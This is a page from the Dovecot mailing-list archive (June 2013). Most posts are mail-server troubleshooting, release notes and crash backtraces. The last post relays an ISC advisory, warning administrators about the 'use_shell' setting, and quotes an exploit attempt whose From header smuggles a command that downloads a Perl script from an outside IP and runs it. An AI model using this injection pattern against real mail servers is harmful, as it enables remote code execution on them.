- dovecot - dovecot.org

[Dovecot] Permission denied / missing +r perm
by Andrew Crawford 12 Jun '13

12 Jun '13

I have postfix configured to deliver mail to dovecot over lmtp into a mailbox that then is accessed over imap. The imap server is running as the user "mail". Whenever I run "postfix flush" I get in mail.log: > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288): Connect from local > Jun 12 05:37:45 li212-205 spamd[18173]: prefork: child states: II > Jun 12 05:37:45 li212-205 dovecot: auth-worker(21289): mysql(127.0.0.1): Connected to database mailserver > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288, drew@REDACTED): zXAqF2lBuFEoUwAA5SnFYQ: msgid=<064C5BC7-357B-4366-9A80-5001DBA21F62@REDACTED>: saved mail to INBOX > Jun 12 05:37:45 li212-205 postfix/lmtp[21287]: 57BDA1CC932: to=<drew@REDACTED>, relay=li212-205.members.linode.com[private/dovecot-lmtp], delay=0.06, delays=0.01/0.01/0.01/0.03, dsn=2.0.0, status=sent (250 2.0.0 <drew@REDACTED> zXAqF2lBuFEoUwAA5SnFYQ Saved) > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288): Disconnect from local: Client quit (in reset) > Jun 12 05:37:45 li212-205 postfix/qmgr[21244]: 57BDA1CC932: removed > Jun 12 05:37:45 li212-205 dovecot: imap(drew@REDACTED): Error: open(/decrypted-mail/awesomebox.sealedabstract.com/drew/cur/1371029865.M411… failed: Permission denied (euid=8(mail) egid=8(mail) missing +r perm: /decrypted-mail/awesomebox.sealedabstract.com/drew/cur/1371029865.M411903P21288.li212-205,S=2626,W=2673:2,, we're not in group 0(root)) > Jun 12 05:37:45 li212-205 dovecot: imap(drew@REDACTED): Disconnected: Internal error occurred. Refer to server log for more information. [2013-06-12 05:37:45] in=349 out=1084 Indeed, the file in question is owned by root and would not be accessible to the mail user: > ls -la /decrypted-mail/awesomebox.sealedabstract.com/drew/cur/ > total 24 > drwxrw---- 2 mail mail 4096 Jun 12 05:37 . > drwxrw---- 7 mail mail 4096 Jun 12 05:37 .. > -rw-rw---- 1 mail mail 2616 Jun 12 05:26 1371029196.M462737P20302.li212-205,S=2616,W=2662:2, > -rw-rw---- 1 mail mail 2635 Jun 12 05:32 1371029564.M454251P20747.li212-205,S=2635,W=2682:2, > -rw-rw---- 1 root root 2626 Jun 12 05:37 1371029865.M411903P21288.li212-205,S=2626,W=2673:2, So dutifully, I chown / chgrp to the mail user. But as soon as i receive a new mail, dovecot again creates files owned by root:root. How do I convince it to create files as mail:mail ? Diagnostic info: > $ dovecot --version > 2.1.7 > $ ps -aux | grep dovecot > root 20810 0.0 0.0 2892 984 ? Ss 05:34 0:00 /usr/sbin/dovecot -c /etc/dovecot/dovecot.conf > dovecot 20813 0.0 0.0 2620 940 ? S 05:34 0:00 dovecot/anvil > root 20814 0.0 0.1 2752 1072 ? S 05:34 0:00 dovecot/log > root 20818 0.0 0.2 4348 2524 ? S 05:34 0:00 dovecot/config > dovenull 21046 0.0 0.2 5248 2500 ? S 05:35 0:00 dovecot/imap-login > mail 21047 0.0 0.2 6392 2088 ? S 05:35 0:00 dovecot/imap > dovenull 21056 0.0 0.2 5248 2500 ? S 05:35 0:00 dovecot/imap-login > mail 21057 0.0 0.2 6752 2576 ? S 05:35 0:00 dovecot/imap > dovenull 21292 0.0 0.2 5248 2500 ? S 05:37 0:00 dovecot/imap-login > root 21293 0.0 0.1 4508 1044 ? S 05:37 0:00 dovecot/ssl-params > mail 21294 0.0 0.2 6540 2624 ? S 05:37 0:00 dovecot/imap > root 21400 0.0 0.0 4104 788 pts/0 S+ 05:51 0:00 grep dovecot > $ doveconf -n > # 2.1.7: /etc/dovecot/dovecot.conf > # OS: Linux 3.8.4-linode50 i686 Debian 7.0 fuse.encfs > auth_mechanisms = plain login > first_valid_uid = 0 > mail_location = maildir:/decrypted-mail/%d/%n > mail_privileged_group = mail > namespace inbox { > inbox = yes > location = > mailbox Drafts { > special_use = \Drafts > } > mailbox Junk { > special_use = \Junk > } > mailbox Sent { > special_use = \Sent > } > mailbox "Sent Messages" { > special_use = \Sent > } > mailbox Trash { > special_use = \Trash > } > prefix = > } > passdb { > args = /etc/dovecot/dovecot-sql.conf.ext > driver = sql > } > protocols = " imap lmtp" > service auth-worker { > user = mail > } > service auth { > unix_listener /var/spool/postfix/private/auth { > group = postfix > mode = 0600 > user = postfix > } > unix_listener auth-userdb { > mode = 0600 > user = mail > } > user = dovecot > } > service imap-login { > inet_listener imap { > port = 0 > } > } > service lmtp { > unix_listener /var/spool/postfix/private/dovecot-lmtp { > group = postfix > mode = 0666 > user = postfix > } > user = mail > } > service pop3-login { > inet_listener pop3 { > port = 0 > } > } > ssl = required > ssl_cert = </etc/ssl/certs/dovecot.pem > ssl_key = </etc/ssl/private/dovecot.pem > userdb { > args = uid=mail gid=mail home=/decrypted-mail/%d/%n > driver = static > } >

1 1

[Dovecot] v2.2.0 released
by Timo Sirainen 12 Jun '13

12 Jun '13

http://dovecot.org/releases/2.2/dovecot-2.2.0.tar.gz http://dovecot.org/releases/2.2/dovecot-2.2.0.tar.gz.sig Everything now seems to be stable and working in v2.2, so I can finally move onto developing great new interesting features for v2.3. :) My company has also launched a web shop where you can buy various products. One of them is cheap access to Dovecot enterprise edition repositories, which are basically same as regular Dovecot releases, except they are kept patched with the latest important bugfixes. We currently have releases for RHEL/CentOS 5 and 6, Debian Squeeze and Ubuntu 12.04 LTS. By buying Dovecot-EE you'll also get a 30 day demo license for object storages, if you want to try it out. http://shop.dovecot.fi/ * When creating home directories, the permissions are copied from the parent directory if it has setgid-bit set. For full details, see http://wiki2.dovecot.org/SharedMailboxes/Permissions * "doveadm auth" command was renamed to "doveadm auth test" * IMAP: ID command now advertises server name as Dovecot by default. It was already trivial to guess this from command replies. * dovecot.index.cache files can be safely accessed only by v2.1.11+. Older versions may think they're corrupted and delete them. * LDA/LMTP: If saving a mail brings user from under quota to over quota, allow it based on quota_grace setting (default: 10% above quota limit). * pop3_lock_session=yes now uses a POP3-only dovecot-pop3-session.lock file instead of actually locking the mailbox (and causing IMAP/LDA/LMTP to wait for the POP3 session to close). * mail_shared_explicit_inbox setting's default switched to "no". * ssl_client_ca_dir setting replaced imapc_ssl_ca_dir and pop3c_ssl_ca_dir settings. + Implemented IMAP MOVE and BINARY extensions + Implemented IMAP CATENATE, URLAUTH and URLAUTH=BINARY extensions (by Stephan Bosch). + Implemented IMAP NOTIFY extension. Requires mailbox_list_index=yes to be enabled. + Redesigned and rewritten dsync. The new design makes the syncing faster, more reliable and more featureful. The new dsync protocol isn't backwards compatible with old dsync versions (but is designed to be forwards compatible with future versions). + All mailbox formats now support per-user message flags for shared mailboxes by using a private index. It can be enabled by adding :INDEXPVT=<path> to mail location. This should be used instead of :INDEX also for Maildir/mbox to improve performance. + Improved mailbox list indexes. They should be usable now, although still disabled by default. + Added LAYOUT=index. The mailbox directories are created using their GUIDs in the filesystem, while the actual GUID <-> name mapping exists only in the index. + LMTP proxy: Implemented XCLIENT extension for passing remote IP address through proxy.

13 23

[Dovecot] Zlib plugin: changing compression save level
by Urban Loesch 11 Jun '13

11 Jun '13

Hi, I have running dovecot 2.1.15 with zlib plugin enabled and "zlib_save_level = 6" since about 2 years now without any problems. What happens if I now change the zlib_save_level to 9? Should that work without any problems, or become the current saved "*.m" files incompatible or unreadable? Thanks Urban

1 0

[Dovecot] Wait for interface to become available instead of dying?
by Sebastian Arcus 11 Jun '13

11 Jun '13

At the moment, if one of the interfaces specified with "listen=" in dovecot.conf is not up when Dovecot is started, then Dovecot just refuses to start. Is there an option to make Dovecot start anyway, and just use the interface when it becomes available? It is inconvenient to have Dovecot refuse to start during boot because some interface is temporarily not available. Then again, maybe there is some strong security reasoning behind the way Dovecot behaves at the moment?

4 8

[Dovecot] IMAP
by Jason Lock 10 Jun '13

10 Jun '13

We are using version 1.2.17 and recently are experiencing major issues with performance, which we believe have isolated to IMAP sessions. We have 3 servers running Dovecot, with a central store shared via NFS. Things have been running quite well for months now, with the latest issues appearing within the last week. As an experiment have 2 of the server running and only accepting POP3 connecitons no IMAP, and the 3rd server only accepting IMAP connections and no POP3. When the issue occurred today, stopping dovecot on the IMAP only server allowed POP3 to resume to normal operations 5-10 minutes later. Leaving IMAP disabled for a period of time (about 30 mins) and then re-enabling seemed to worked the first time. Subsequent times, the issue appeared shortly after re-enabling IMAP. Our webmail solution connects via IMAP, so when disabled this also impact clients using the webmail. Running only POP3 while IMAP is disabled we do not appear to have any issues. At this point, looking for any advice. We believe the number of devices utilizing IMAP has increased significantly for us, and whether or not a specific device is the cause we have not been able to determine. Anyone else experiencing a similar problem that appears related to IMAP?

2 1

[Dovecot] per user quota in mysql
by John Doe 10 Jun '13

10 Jun '13

Hello everybody, I have set up dovecot to use ldap authentication and it works great. I wonder if it is possible to use mysql for user quota and still keep my ldap authentication. Thank you!

2 2

[Dovecot] Man page: LGPL Version
by Oli Schacher 09 Jun '13

09 Jun '13

Hi Timo http://hg.dovecot.org/dovecot-2.2/rev/1f3f21081ee5 : man pages: Updated v2.1 -> v2.2 dovecot.1.in now references a inexistent "LGPLv2.2" instead of "LGPLv2.1"

2 1

[Dovecot] v2.2.2 (266101990d63) Core Dump
by Thomas Leuxner 09 Jun '13

09 Jun '13

==> /var/log/dovecot/dovecot.log <== Jun 9 09:58:26 spectre dovecot: lmtp: Fatal: master: service(lmtp): child 12635 killed with signal 11 (core dumped) This is another segmentation fault introduced in the current code. Please also look into fixing the other Core Dump I reported: http://www.dovecot.org/list/dovecot/2013-June/090795.html (gdb) bt full #0 0x00007f305d3df646 in buffer_append (buf=0x0, data=0x7fff92c0d218, data_size=0) at buffer.c:184 No locals. #1 0x00007f305d6bee16 in array_append_i (data=0x7fff92c0d218, array=0x1267448, count=<optimized out>) at ../../src/lib/array.h:148 count = 1 #2 mail_namespace_add_storage (ns=ns@entry=0x12673f0, storage=0x7fff92c0d218, storage@entry=0x126cb50) at mail-namespace.c:39 No locals. #3 0x00007f305d6c488d in mail_storage_create_full (ns=ns@entry=0x12673f0, driver=<optimized out>, driver@entry=0x7f305d7263a4 "raw", data=<optimized out>, flags=flags@entry=0, storage_r=storage_r@entry=0x7fff92c0d318, error_r=error_r@entry=0x7fff92c0d338) at mail-storage.c:397 storage_class = 0x7f305d95a560 storage = 0x126cb50 list = 0x1271800 list_set = {layout = 0x125b050 "none", root_dir = 0x125b048 "", index_dir = 0x0, index_pvt_dir = 0x0, control_dir = 0x0, alt_dir = 0x0, inbox_path = 0x0, subscription_fname = 0x7f305d72310d "subscriptions", maildir_name = 0x7f305d71e70b "", mailbox_dir_name = 0x7f305d71e70b "", escape_char = 0 '\000', broken_char = 0 '\000', utf8 = false, alt_dir_nocheck = false} list_flags = <optimized out> p = <optimized out> __FUNCTION__ = "mail_storage_create_full" #4 0x00007f305d6c4b7e in mail_storage_create (ns=ns@entry=0x12673f0, driver=driver@entry=0x7f305d7263a4 "raw", flags=flags@entry=0, error_r=error_r@entry=0x7fff92c0d338) at mail-storage.c:407 storage = 0x7f305dd87a38 #5 0x00007f305d6bd605 in raw_storage_create_from_set (set_info=<optimized out>, set=<optimized out>) at raw-storage.c:48 user = 0x126d7f0 ns = 0x12673f0 ns_set = 0x126f2e0 mail_set = <optimized out> error = 0x0 #6 0x0000000000405762 in client_raw_user_create (client=<optimized out>) at client.c:150 sets = <optimized out> #7 client_create (fd_in=12, fd_out=12, conn=<optimized out>) at client.c:242 client = 0x1267f10 pool = 0x1267ef0 #8 0x00007f305d3a8740 in master_service_listen (l=0x1266120) at master-service.c:826 service = 0x12625a0 conn = {fd = 12, listen_fd = 8, name = 0x1262905 "dovecot-lmtp", remote_ip = {family = 0, u = {ip6 = {__in6_u = {__u6_addr8 = '\000' <repeats 15 times>, __u6_addr16 = {0, 0, 0, 0, 0, 0, 0, 0}, __u6_addr32 = {0, 0, 0, 0}}}, ip4 = {s_addr = 0}}}, remote_port = 0, fifo = 0, ssl = 0, accepted = 1} #9 0x00007f305d3f2996 in io_loop_call_io (io=0x12661c0) at ioloop.c:387 ioloop = 0x1262710 t_id = 2 #10 0x00007f305d3f3807 in io_loop_handler_run (ioloop=ioloop@entry=0x1262710) at ioloop-epoll.c:215 ctx = 0x1265540 events = 0x0 event = 0x12655b0 list = 0x1266210 io = <optimized out> tv = {tv_sec = 2147483, tv_usec = 0} events_count = <optimized out> msecs = <optimized out> ret = 1 i = <optimized out> call = <optimized out> __FUNCTION__ = "io_loop_handler_run" #11 0x00007f305d3f24d8 in io_loop_run (ioloop=0x1262710) at ioloop.c:406 No locals. ---Type <return> to continue, or q <return> to quit--- #12 0x00007f305d3a8013 in master_service_run (service=0x12625a0, callback=callback@entry=0x404dd0 <client_connected>) at master-service.c:560 No locals. #13 0x0000000000404c24 in main (argc=1, argv=0x1262390) at main.c:122 set_roots = {0x60a6a0, 0x409260, 0x0} service_flags = <optimized out> storage_service_flags = 675 c = <optimized out>

2 2

[Dovecot] lmpt-service crash after update
by listserv 09 Jun '13

09 Jun '13

Hello, since the last update today without a change on the config, the lmtp-service crash with the follow messages: -------- Jun 9 13:16:43 kobe kernel: lmtp[25881]: segfault at 4 ip b7568e83 sp bfbe01b0 error 4 in libdovecot.so.0.0.0[b750c000+c6000] -------- Jun 9 13:16:43 kobe dovecot: lmtp(25881): Fatal: master: service(lmtp): child 25881 killed with signal 11 (core dumped) -------- GNU gdb (GDB) 7.6-debian Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /usr/lib/dovecot/lmtp...(no debugging symbols found)...done. [New LWP 25823] warning: Could not load shared library symbols for linux-gate.so.1. Do you need "set solib-search-path" or "set sysroot"? [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". Core was generated by `dovecot/lmtp'. Program terminated with signal 11, Segmentation fault. #0 0xb75a2e83 in buffer_append () from /usr/lib/dovecot/libdovecot.so.0 (gdb) bt full #0 0xb75a2e83 in buffer_append () from /usr/lib/dovecot/libdovecot.so.0 No symbol table info available. #1 0xb76821cb in mail_namespace_add_storage () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #2 0xb76885ed in mail_storage_create_full () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #3 0xb76889a5 in mail_storage_create () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #4 0xb76802f5 in raw_storage_create_from_set () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #5 0x0804c578 in client_create () No symbol table info available. #6 0x0804bbf2 in _start () No symbol table info available. (gdb) ---------- doveconf -n # 2.2.2 (266101990d63): /etc/dovecot/dovecot.conf # OS: Linux 3.2.28.stk32 i686 Debian jessie/sid ext3 auth_debug = yes auth_debug_passwords = yes auth_mechanisms = digest-md5 cram-md5 auth_username_translation = %Lu auth_verbose = yes auth_verbose_passwords = plain dict { expire = db:/var/lib/dovecot/expire.db } hostname = kobe.vtlx.cn mail_attachment_dir = /var/mail/attachment mail_debug = yes mail_gid = vmail mail_home = /var/mail/vhosts/%Ld/%Ln mail_location = sdbox:/var/mail/vhosts/%Ld/%Ln:DIRNAME=DbOx-mAiLs mail_plugins = " quota mail_log notify expire zlib" mail_privileged_group = vmail mail_uid = vmail mailbox_list_index = yes managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Spam { auto = subscribe special_use = \Junk } mailbox Trash { auto = subscribe special_use = \Trash } prefix = separator = / subscriptions = yes type = private } passdb { args = scheme=PLAIN username_format=%Lu /etc/dovecot/user_pw/passwd driver = passwd-file } plugin { acl = vfile acl_shared_dict = file:/var/mail/shared-db/shared-mailboxes expire = Trash 2h expire_dict = proxy::expire mail_log_events = delete undelete copy mailbox_delete mailbox_rename expunge save mailbox_create mail_log_fields = uid box msgid size quota = dict:User quota::file:/var/mail/vhosts/%Ld/%Ln/dovecot-quota quota_exceeded_message = Die Mailbox des Empfaengers ist voll -- Quota exceeded -- Please contact <postmaster(a)xtlv.cn> quota_grace = 10%% quota_rule = *:storage=30M quota_rule2 = Trash:storage=+10%% quota_status_nouser = DUNNO quota_status_overquota = "552 5.5.2 Die Mailbox des Empfaengers ist voll ## Quota exceeded ## Please contact <postmaster(a)xtlv.cn>" quota_status_success = DUNNO quota_warning = storage=95%% quota-warning 95 %u quota_warning2 = storage=90%% quota-warning 90 %u quota_warning3 = storage=85%% quota-warning 85 %u quota_warning4 = storage=80%% quota-warning 80 %u quota_warning5 = storage=70%% quota-warning 70 %u sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = postmaster(a)xtlv.cn protocols = " imap lmtp sieve pop3" rejection_reason = Your message to <%t> was automatically rejected:%n%r [TEST] service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-userdb { mode = 0600 user = vmail } } service config { unix_listener config { mode = 0600 user = vmail } } service dict { unix_listener dict { mode = 0600 user = vmail } } service imap-login { inet_listener imap { port = 0 } inet_listener imaps { address = 84.38.75.143 port = 993 ssl = yes } } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0660 user = postfix } } service managesieve-login { inet_listener sieve { address = 84.38.75.143 port = 4190 } } service pop3-login { inet_listener pop3 { port = 0 } inet_listener pop3s { address = 84.38.75.143 port = 995 ssl = yes } } service quota-status { client_limit = 1 executable = quota-status -p postfix unix_listener /var/spool/postfix/private/quota-status { group = postfix mode = 0660 user = postfix } } service quota-warning { executable = script /usr/local/bin/quota-warning.sh unix_listener quota-warning { group = vmail mode = 0660 user = vmail } user = root } ssl_ca = </etc/dovecot/keys/ca.crt ssl_cert = </etc/dovecot/keys/mx01-dov.pem ssl_key = </etc/dovecot/keys/mx01-dov.key userdb { args = username_format=%Lu /etc/dovecot/user_pw/passwd driver = passwd-file } protocol lmtp { mail_plugins = " quota mail_log notify expire zlib quota sieve" } protocol lda { mail_plugins = " quota mail_log notify expire zlib sieve" } protocol imap { mail_plugins = " quota mail_log notify expire zlib imap_quota" } protocol pop3 { mail_plugins = " quota mail_log notify expire zlib quota" } I hope the infos helps to solve this problem. many thanks, Mario -- 中華人民共和國

1 0

[Dovecot] from ISC: Exim/Dovecot exploit making the rounds
by Luigi Rosa 09 Jun '13

09 Jun '13

One of our readers wrote in to let us know that he had received an attempted Exim/Dovecot exploit attempt against his email server. The exploit partially looked like this: From: x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`(a)blaat.com (Obviously edited for your safety, and I didn't post the whole thing.) This is an exploit against Dovecot that is using the feature "use_shell" against itself. This feature, unfortunately, is found in the example wiki on Dovecot's website, and also in their example configuration. We'd caution anyone that is using Dovecot to take a look at their configuration and make use they aren't using the "use_shell" parameter. Or if you are, make darn sure you know what you are doing, and how to defend yourself. https://isc.sans.edu/diary/EximDovecot+exploit+making+the+rounds/15962 Ciao, luigi -- / +--[Luigi Rosa]-- \ The generation of random numbers is too important to be left to chance.

2 1